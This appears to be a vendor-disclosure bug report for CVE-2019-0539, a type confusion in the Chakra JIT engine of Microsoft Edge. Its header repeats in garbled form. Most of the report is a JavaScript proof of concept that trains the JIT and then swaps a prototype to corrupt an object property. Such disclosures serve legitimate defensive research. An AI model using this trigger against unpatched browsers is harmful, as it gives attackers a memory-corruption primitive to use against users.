Microsoft Edge Chakra JIT InitClass Type Confusion

Microsoft Edge: Chakra: JIT: Type confusion via InitClass

CVE-2019-0539


This is similar to <a href="/p/project-zero/issues/detail?id=1702" title=& Microsoft Edge: Chakra: JIT: Type confusion via InitClass

CVE-2019-0539


This is similar to <a href="/p/project-zero/issues/detail?id=1702" title="Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto" class="closed_ref" rel="nofollow"> issue 1702 </a>. This time, it uses an InitClass instruction to reach the SetIsPrototype method.

function opt(o, c, value) {
o.b = 1;

class A extends c {

}

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}

let o = {a: 1, b: 2};
let cons = function () {};

cons.prototype = o;

opt(o, cons, 0x1234);

print(o.a);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt